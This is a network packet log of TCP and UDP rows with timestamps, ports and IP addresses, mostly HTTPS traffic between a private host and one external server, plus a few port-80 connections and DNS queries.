Apr 21, 2023 01:05:29.657541037 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:29.657586098 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:29.811258078 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:29.811304092 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:29.811335087 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:29.811356068 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:29.811439037 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:29.811461926 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:29.811490059 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:29.811518908 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:29.811533928 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:29.811570883 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:29.811592102 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:29.811603069 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:29.811615944 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:29.811665058 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:29.811682940 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:29.811724901 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:29.811778069 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:29.811826944 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:29.811862946 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:29.811960936 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.019500971 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.019604921 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.451417923 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.451491117 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.674280882 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.674321890 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.674339056 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.674405098 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.674418926 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.674452066 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.674460888 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.674488068 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.674499989 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.674527884 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.879446030 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.879528999 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.957498074 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.957545996 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.957578897 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.957607031 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.957686901 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.957705975 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.957729101 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.957756042 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.957775116 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.957799911 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.957823038 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.957823038 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.957844973 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.957874060 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.957887888 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.957921982 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.957933903 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.957967043 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.957983971 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.958019972 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.958033085 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.958060980 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.958115101 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.958173037 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.958192110 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:30.958235979 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:30.958276033 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:31.167428970 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:31.167774916 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:31.599513054 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:31.599637032 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:31.874020100 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:31.874102116 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:31.874140024 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:31.874214888 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:31.874241114 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:31.874279022 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:31.874300957 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:31.874346018 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:31.874368906 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:32.030421972 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:32.030483007 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.030539989 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.030575991 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.030611038 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:32.030635118 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.030669928 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.030695915 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:32.030723095 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.030767918 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:32.030788898 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.030813932 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.030873060 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.030901909 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:32.030901909 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:32.030994892 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:32.031027079 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:32.031047106 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.031105042 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:32.235429049 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.235531092 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:32.659439087 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:32.659528017 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.447303057 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.447371006 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.447422981 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.447489977 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.447511911 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.447540045 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.447551966 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.447623014 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.447627068 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.447627068 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.655436039 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.660363913 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.660409927 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.660430908 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.660444021 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.660569906 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.662807941 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.662847996 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.665010929 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665046930 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.665077925 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665091038 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.665117025 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.665158987 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665168047 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.665195942 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665205956 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.665226936 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.665235996 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665245056 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.665273905 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665283918 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.665308952 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665318012 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.665330887 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.665344954 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665389061 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665412903 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665451050 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665483952 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665519953 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665550947 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665585995 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.665615082 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:33.871438980 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:33.874484062 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.287508965 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.294183016 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.751058102 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.751127958 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.751166105 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.751647949 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.751647949 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.751677036 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.751739025 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.751805067 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.751986027 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.874398947 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.874438047 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.874459028 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.874473095 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.876349926 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.876386881 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.876493931 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.876493931 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.876493931 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.876528978 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.876570940 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.876666069 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.876895905 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.876928091 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.876987934 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.876987934 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.877024889 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.877125025 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.877194881 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.877194881 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.877194881 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.877194881 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.877194881 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.877194881 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.877243996 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:34.877326012 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.877326012 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.877326012 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.877345085 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:34.877367973 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:35.083432913 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:35.086599112 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:35.503518105 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:35.507286072 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:35.968446016 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:35.968492985 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:35.968511105 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:35.969396114 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:35.969404936 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:35.969424009 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:35.971842051 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:35.971872091 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.136425972 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.136459112 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.136485100 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.136498928 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.141683102 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.141704082 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.141741037 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.141751051 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.141766071 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.141783953 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.141796112 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.141869068 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.141894102 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.141911030 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.141928911 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.141928911 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.141941071 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.141963005 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.141978979 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.141985893 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.141998053 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.142024994 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.142064095 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.142065048 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.142096996 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.142134905 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.142179012 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.142203093 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.142241001 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.142266035 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.142301083 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.347487926 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.349333048 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:36.783436060 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:36.787009954 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.130935907 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.130980015 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.131007910 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.131364107 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.131365061 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.131381035 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.131407976 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.133454084 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.133503914 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.279448032 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.279501915 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.279531956 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.279560089 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.284240007 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.284337044 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.284451008 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.284451008 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.284478903 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.284760952 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.284890890 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.284946918 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.284946918 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.284946918 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.284946918 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.284948111 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.284948111 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.284980059 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.285098076 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.285170078 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.285245895 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.285305023 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.285470963 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.285667896 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.285667896 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.285707951 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.285721064 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.285758972 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.285793066 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.285855055 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.495435953 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.496129036 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:37.935481071 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:37.935631037 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.226052999 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.226087093 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.226100922 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.228625059 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.228625059 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.228636980 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.228648901 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.228655100 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.228843927 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.228873968 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.328092098 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.328120947 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.328140020 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.328676939 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.328685045 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.328716040 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.328725100 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.328758001 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.328766108 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.328793049 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.328798056 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.328802109 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.328833103 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.328840971 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.328865051 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.328869104 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.328879118 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.328922033 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.328927994 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.331805944 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.331845045 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.331885099 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.331914902 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.331948996 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.331984043 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.332016945 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.332048893 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.332082033 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.332118988 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.539555073 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.539755106 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:38.959444046 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:38.961241961 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:39.791436911 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:39.795667887 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:41.256272078 CEST	80	49700	185.159.130.81	192.168.2.3
Apr 21, 2023 01:05:41.256362915 CEST	49700	80	192.168.2.3	185.159.130.81
Apr 21, 2023 01:05:41.455430984 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:41.455537081 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:41.549729109 CEST	80	49701	185.159.129.168	192.168.2.3
Apr 21, 2023 01:05:41.550003052 CEST	49701	80	192.168.2.3	185.159.129.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2023 01:02:59.262510061 CEST	54264	53	192.168.2.3	8.8.8.8
Apr 21, 2023 01:02:59.282797098 CEST	53	54264	8.8.8.8	192.168.2.3
Apr 21, 2023 01:02:59.392442942 CEST	58974	53	192.168.2.3	8.8.8.8
